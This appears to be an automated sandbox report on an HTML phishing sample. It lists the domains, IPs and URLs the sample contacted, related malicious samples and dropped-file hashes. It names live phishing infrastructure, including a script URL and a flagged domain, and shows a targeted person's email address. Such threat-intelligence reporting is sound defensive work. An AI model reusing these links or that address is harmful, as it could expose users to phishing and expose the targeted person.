Source	Detection	Scanner	Label
https://privacy-sandbox-demos-dsp-a.dev	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	0%	Avira URL Cloud	safe
https://privacy-sandcastle-dev-dsp.web.app	0%	Avira URL Cloud	safe
https://privacy-sandbox-demos-ssp-y.dev	0%	Avira URL Cloud	safe
https://eloan.co.jp	0%	Avira URL Cloud	safe
https://privacy-sandcastle-dev-ssp.web.app	0%	Avira URL Cloud	safe
https://privacy-sandbox-demos-dsp.dev	0%	Avira URL Cloud	safe
https://dreammail.jp	0%	Avira URL Cloud	safe
https://superfine.org	0%	Avira URL Cloud	safe
https://gama.globo	0%	Avira URL Cloud	safe
https://nexxen.tech	0%	Avira URL Cloud	safe
https://marutishanbhag.com	0%	Avira URL Cloud	safe
https://aqfer.com	0%	Avira URL Cloud	safe
https://atirun.com	0%	Avira URL Cloud	safe
https://shared-storage-demo-publisher-a.web.app	0%	Avira URL Cloud	safe
https://roytsonlaw.com//attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js	0%	Avira URL Cloud	safe
https://privacy-sandbox-demos-ssp-b.dev	0%	Avira URL Cloud	safe
https://privacy-sandcastle-dev-ssp-a.web.app	0%	Avira URL Cloud	safe
https://bypass.jp	0%	Avira URL Cloud	safe
https://ayads.io	0%	Avira URL Cloud	safe
https://dabbs.net	0%	Avira URL Cloud	safe
https://privacy-sandcastle-dev-dsp-x.web.app	0%	Avira URL Cloud	safe
https://privacy-sandcastle-dev-ssp-y.web.app	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
wicked.bigpoliceman.com	172.67.143.150	true	false	high
www.google.com	142.250.186.100	true	false	high
api.ipify.org	172.67.74.152	true	false	high
roytsonlaw.com	68.183.63.244	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	true	Avira URL Cloud: safe	unknown
https://roytsonlaw.com//attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mediavine.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://connatix.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://yelp.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://nodals.io	privacy-sandbox-attestations.dat.2.dr	false		high
https://getyourguide.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://mediaintelligence.de	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandcastle-dev-dsp.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://privacy-sandbox-demos-dsp-a.dev	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://permutive.app	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandbox-demos-dsp.dev	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://adthrive.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://ad.gt	privacy-sandbox-attestations.dat.2.dr	false		high
https://easylist.to/)	LICENSE.txt.2.dr	false		high
https://gumgum.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://trkkn.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://logly.co.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://media6degrees.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://funplus.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandcastle-dev-ssp.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://inmobi.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://33across.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://dreammail.jp	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://jkforum.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://iobeya.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://a-mo.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://ebis.ne.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandbox-demos-ssp-y.dev	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://aphub.ai	privacy-sandbox-attestations.dat.2.dr	false		high
https://gama.globo	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://audienceproject.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://adsrvr.org	privacy-sandbox-attestations.dat.2.dr	false		high
https://finn.no	privacy-sandbox-attestations.dat.2.dr	false		high
https://lucead.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://verve.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://r2b2.io	privacy-sandbox-attestations.dat.2.dr	false		high
https://bluems.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://edkt.io	privacy-sandbox-attestations.dat.2.dr	false		high
https://atomex.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://crcldu.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://rubiconproject.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://sitescout.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://apex-football.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://dotomi.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://ctnsnet.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://toponad.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://shinobi.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://superfine.org	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://360yield.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://usemax.de	privacy-sandbox-attestations.dat.2.dr	false		high
https://display.io	privacy-sandbox-attestations.dat.2.dr	false		high
https://adform.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://eloan.co.jp	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://postrelease.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://aqfer.com	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://docomo.ne.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://shared-storage-demo-publisher-a.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://marutishanbhag.com	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://weborama-tech.ru	privacy-sandbox-attestations.dat.2.dr	false		high
https://innovid.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://demand.supply	privacy-sandbox-attestations.dat.2.dr	false		high
https://nexxen.tech	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://2k.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://advividnetwork.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://undertone.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://creative-serving.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://unrulymedia.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://tailtarget.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://paa-reporting-advertising.amazon	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandbox-demos-ssp-b.dev	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://bypass.jp	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://dotdashmeredith.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://atirun.com	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://adingo.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://impact-ad.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://admatrix.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://openx.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://taboola.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://ayads.io	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://i-mobile.co.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://uinterbox.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://mail.ru	privacy-sandbox-attestations.dat.2.dr	false		high
https://simeola.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://gmossp-sp.jp	privacy-sandbox-attestations.dat.2.dr	false		high
https://primecaster.net	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandcastle-dev-ssp-a.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://worldhistory.org	privacy-sandbox-attestations.dat.2.dr	false		high
https://adnxs.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://dabbs.net	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://seedtag.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://casalemedia.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandcastle-dev-dsp-x.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://authorizedvault.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://privacy-sandcastle-dev-ssp-y.web.app	privacy-sandbox-attestations.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://sportradarserving.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://semafor.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://lwadm.com	privacy-sandbox-attestations.dat.2.dr	false		high
https://appconsent.io	privacy-sandbox-attestations.dat.2.dr	false		high
https://vg.no	privacy-sandbox-attestations.dat.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
68.183.63.244	roytsonlaw.com	United States	14061	DIGITALOCEAN-ASNUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.26.13.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.143.150	wicked.bigpoliceman.com	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1636192
Start date and time:	2025-03-12 14:06:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	.html
Detection:	MAL
Classification:	mal84.phis.winHTML@30/38@18/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.46, 142.250.184.227, 142.250.185.110, 142.250.110.84, 142.250.186.142, 84.201.210.23, 142.250.184.206, 142.250.185.78, 142.250.184.238, 142.250.185.206, 199.232.210.172, 216.58.212.131, 216.58.206.35, 34.104.35.123, 74.125.71.84, 142.250.186.174, 142.250.186.78, 142.250.186.46, 142.250.185.142, 216.58.206.78, 142.250.186.67, 66.102.1.84, 216.58.206.67, 52.149.20.212
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:07:00	Task Scheduler	Run new task: {631511D1-8CCB-4D2B-A98B-007E84B8A82F} path: .

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.194.137	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
104.26.13.205	get_txt.ps1	Get hash	malicious	LummaC Stealer	Browse	api.ipify.org/
	XkgoE6Yb52.ps1	Get hash	malicious	Unknown	Browse	api.ipify.org/
	R1TftmQpuQ.bat	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	SpacesVoid Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	Message.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://app.storylane.io/share/ttfgdirdpl74	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Inv#8653763981_2sfgPaymentAdvice.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://marktmagie.com/auth8523796254hfdhsf734/ogo00dex.html#uiptcgcu@uiprail.org	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://mailtrack.io/l/602b7f5905dfb2b7053f69bb1ad3f5e5fe2093ad?url=https%3A%2F%2Fbusinessaccounts-suite.com&u=12237839&signature=92845e946510e802#user_email=m.alarcon@servihabitat.com&fname=Mireia&lname=Alarcon	Get hash	malicious	Unknown	Browse	151.101.130.137
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	ATT48234.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
cdnjs.cloudflare.com	http://www.tfeweb.co.uk	Get hash	malicious	Unknown	Browse	104.17.24.14
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://app.storylane.io/share/ttfgdirdpl74	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.24.14
	Inv#8653763981_2sfgPaymentAdvice.svg	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Shinhan_DocuSign_312047735687684052652423710713974466111628395562753690xqIDWOeXtHYBeNKrTAww.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.directhealthcaregroup.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	.svg	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://links.truthsocial.com/link/114146761665966840	Get hash	malicious	Unknown	Browse	104.17.25.14
	ATT48234.svg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
wicked.bigpoliceman.com	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	172.67.143.150
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	104.21.27.207
	https://www.gruzoved.com/blog/post/eshe-dve-dorogi-zakryli-na-sahaline-iz-za-nepogody/?next=https%3A%2F%2Fgamma.app%2Fdocs%2Fmeyertrucks-Trust-Meyer-Trucks-diesel-truck-bus-parts-q218q3p16jcbi7h%3Fmode%3Dpresent%23card-5kvf1fu5246tolr	Get hash	malicious	Gabagool	Browse	104.21.27.207
	https://wicked.bigpoliceman.com	Get hash	malicious	Unknown	Browse	172.67.143.150
	https://e888svhbb.cc.rs6.net/tn.jsp?f=001kuAvp5TZb__Hkifiw1Dunrq7wGEuQ1ioGKofiYBXVujoaWV9xYRWR1NK5wV0yrjXHozkOiJoFy-_-xeRfbezti7UsyxwA2dObzWg4IuOexzrl4iTD1i4Fe_lvIih5NV4OF4opUEjifUAoUGrwVf0CNMgWAbr-5BdIzJNJgud80U=&c=T1nFM6kA2ta7fejIlZLSkDMPoVolrtIWpCZM5m5CVpkkIsemh9-qEQ==	Get hash	malicious	Unknown	Browse	172.67.143.150

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	REFUND STATUS.docx	Get hash	malicious	Unknown	Browse	172.64.146.215
	.svg	Get hash	malicious	HTMLPhisher	Browse	172.67.158.181
	https://go.51.ca	Get hash	malicious	Unknown	Browse	188.114.96.3
	ca703fd579bbcee73544b9b37f8a6469.bin.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.61.68
	https://we.tl/t-BnGuynUcjL	Get hash	malicious	Unknown	Browse	104.18.27.193
	PENDING PAYMENT FOR March SOA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	DEVM24-clean.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://jkhmonteithfgintcoukjg.taplink.ws	Get hash	malicious	Unknown	Browse	104.19.147.54
CLOUDFLARENETUS	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	REFUND STATUS.docx	Get hash	malicious	Unknown	Browse	172.64.146.215
	.svg	Get hash	malicious	HTMLPhisher	Browse	172.67.158.181
	https://go.51.ca	Get hash	malicious	Unknown	Browse	188.114.96.3
	ca703fd579bbcee73544b9b37f8a6469.bin.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.61.68
	https://we.tl/t-BnGuynUcjL	Get hash	malicious	Unknown	Browse	104.18.27.193
	PENDING PAYMENT FOR March SOA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	DEVM24-clean.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://jkhmonteithfgintcoukjg.taplink.ws	Get hash	malicious	Unknown	Browse	104.19.147.54
DIGITALOCEAN-ASNUS	sync.arm5.elf	Get hash	malicious	Unknown	Browse	138.197.122.150
	VirusSick.exe	Get hash	malicious	Unknown	Browse	162.243.121.232
	Setup.exe	Get hash	malicious	Unknown	Browse	104.248.126.225
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	46.101.242.248
	rbot.elf	Get hash	malicious	Unknown	Browse	188.166.241.150
	https://gamma.app/docs/Innovative-Industrial-Fabricators-LLC-l9jiky9l79t1mba?mode=present#card-04miadc3h3yvc0w	Get hash	malicious	HTMLPhisher	Browse	178.128.55.71
	https://gamma.app/docs/Innovative-Industrial-Fabricators-LLC-l9jiky9l79t1mba?mode=present#card-04miadc3h3yvc0w	Get hash	malicious	HTMLPhisher	Browse	178.128.55.71
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	45.55.195.230
	BJtPlI.dll	Get hash	malicious	Unknown	Browse	188.166.28.204
	https://ancollc.mrsnolas.com/	Get hash	malicious	Unknown	Browse	206.189.101.113
FASTLYUS	.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://go.51.ca	Get hash	malicious	Unknown	Browse	151.101.1.195
	https://we.tl/t-BnGuynUcjL	Get hash	malicious	Unknown	Browse	151.101.192.84
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://app.storylane.io/share/ttfgdirdpl74	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.1.229
	Inv#8653763981_2sfgPaymentAdvice.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://marktmagie.com/auth8523796254hfdhsf734/ogo00dex.html#uiptcgcu@uiprail.org	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://wrasse-horse-3nb9.squarespace.com/	Get hash	malicious	Unknown	Browse	151.101.128.237

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll	https://centrepatronal.blob.core.windows.net/heberhard/centrepatronal.html	Get hash	malicious	HTMLPhisher	Browse
	cndx.com.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Fd-Employee-Handbook(1).pdf	Get hash	malicious	Unknown	Browse
	ATT001_2674865722.htm	Get hash	malicious	Unknown	Browse
	https://drive.usercontent.google.com/u/0/uc?id=1oVYWzJi9Tw6x0zGRa8di76JxbjhDHWgd&export=download	Get hash	malicious	Unknown	Browse
	call_playback_Senecacollege.html	Get hash	malicious	HTMLPhisher	Browse
	HwusQ091ed.html	Get hash	malicious	Unknown	Browse
	Listen Now!!.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://storage.googleapis.com/arctic-carving-450917-d9.appspot.com/Vac.html#xxxx@gmail.com	Get hash	malicious	HTMLPhisher	Browse
	YiCRY9tceW.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1805
Entropy (8bit):	6.024883607738449
Encrypted:	false
SSDEEP:	48:p/h4uF8hr7akIQ2hWNW22oM3ItR0kpOg+G1F:ROuF8p7adWN12OtR0Lgnr
MD5:	576F86C13500904B2CFF79E7EE9813BF
SHA1:	A448BFCB7487342E71203F696C91364A881B1A07
SHA-256:	A6EDBEAD87C0D10CA54F31D719232D4766ECD85247C639097D68777812203BBB
SHA-512:	5AD87C8AF6C6A8DE90BB09E537EB04D343B7760E5692963C1CF8D6FFFDCD008165DAAECCA94510B591C2BB4C17BD64E48F93ED5277F38A87C53ADED0A7D46ED6
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJoaXN0b3J5X3NlYXJjaF9zdHJpbmdzX2Zhcm1oYXNoZWQuYmluYXJ5cGIiLCJyb290X2hhc2giOiJ1YTFtVjdKTl90enFQNm5uY3RTWUw5dDdLRTByc01MRExMSDZnR095NGM0In0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6InRoLVdQczdGUDNkdnZudGVUSXpKM1l4eU5iNGtTV19CaFhmVmcyMzh1VHMifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJwa29ta2RqcG1qZmJrZ2pqbW1haW9lZ2FvamdkYWhrbSIsIml0ZW1fdmVyc2lvbiI6IjYuNzQzMS45NjkyIiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"MULn4zJoWgjGUovjaEHu5NdNW5uCggff98O6sYiY-a_-S7Ukq2rs9C8W20Ptv7UEhYotzE4oil8LYnY-UqU0ldSc1rW3zPuSq0noBsKqcWqb6LZPThWRJL7mu7NC6lU1LXtDjjA-v9Nckv93kI6GF4oXGWWD9TdTgM43sHL8NgyzSnplNmZFc5wPIRV0NETtKxxsH9xpq1koJOHX4QlDMHkBW1hgHTq3cxx4o_oUDOv2Z7tBDz0wrhoqfNNsB6S7XByGiqjggrMcVdKSNN-4M29i6MxtcUXiM4Ub6URQWqytMmMnvE

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\history_search_strings_farmhashed.binarypb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	3.599861932645689
Encrypted:	false
SSDEEP:	96:E22zlb4j7OXw9g5qd49REHkN/v5zNnVUiic04saNJOkCDclgGNSrRnKjt3P:E2ilbC7Og9ga49Rnlv5zNn69cHhfOkEI
MD5:	07A6A55A8B1305A04B488B3433378A40
SHA1:	39249258EEA0473B37E468CCDB9C59D7B70B25B9
SHA-256:	A30999F36D840D218ED88CD402C072824EE11D141265BB66F972317075338DFE
SHA-512:	EAA73D7B069BBFDF9C5B8D3A84888587130CEC9F71EC3749B002C58D4C040818A6D9620B20D75B5215B045211E34092CCBB9D7EBDDCF43D7A30A82BEEB53C918
Malicious:	false
Reputation:	low
Preview:	..2268878645..4150166211..3635766556..3100622694..2882857065..3113504532..4059982422..4190559762..490846406..472993679..746129187..3645806673..1587074553..3252136094..454137344..2485329947..1943545055..1560292331..1486366630..1790112295..68088445..239052483..663419390..2044611818..1818734386..1871588911..3661116714..3175320285..747058853..583773896..666111195..2266945682..1478812737..3751622037..4151348701..3296391498..2686649576..617189129..1814883064..41944762..626317099..3440834169..2196127073..640291836..2673380821..2169761756..3679871750..944943261..1583032654..2782972117..812563865..854749838..455904146..1251777507..2908954221..3422582911..3561876415..1990992201..3889187132..3501061295..4079828929..2683714405..2580287260..4018857391..133884271..3578942588..1542465893..2861684106..2400676353..2947221933..2418369878..550889930..4011599249..1197477470..2797574022..99329549..3815070852..2798633240..3378839655..2538816597..848749005..454704005..2817621037..4224936049..2114247913..3472

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.878459128441013
Encrypted:	false
SSDEEP:	3:STDjQccBkR+Y5xUd71n:SPjlkkYY5uBn
MD5:	226C19B7ABCCA37C5553C59906378234
SHA1:	8707E3D4D89E0C9103366A1553EAB54FA268D8D5
SHA-256:	47502668458687050B5C0B7651DEF5507590571536FE77EC8B613D3EC0DBE737
SHA-512:	1C30A40CCC6B05B915446CCB46C5A8EC1A2D0D77B458283E02CE91BF6734D9AD6C8EEBC62E03821B476307D4D219AFC6B0BA0D1DA81700DC9937CEB809C1DC10
Malicious:	false
Reputation:	low
Preview:	1.6f9945bb965ce4aef3427164fc19faf47a46b069dd2c9f1f931858445e1652a0

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1142903608\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.711410209193507
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCXc9hAxo6YXwEW7EUJHKS1ydcCHA:F6VlMDlpwEhU0S1ydcCg
MD5:	ACB265E0B9230EBC82351E2923EFC08B
SHA1:	1D2DA6BABC7723DFAC6E564AA1CA3C00A2F55608
SHA-256:	B61F963ECEC53F776FBE7B5E4C8CC9DD8C7235BE24496FC18577D5836DFCB93B
SHA-512:	F70EA258E4613350B389ACE5EBBD62479B5B71BA555EC064447E9CAA08DF71B449660841E688E46C0333DC88A3E5F00EC29AF21799E0787E6E7E822B913F7D89
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "history_search_strings_farmhashed.binarypb",. "version": "6.7431.9692".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\Google.Widevine.CDM.dll

Download File

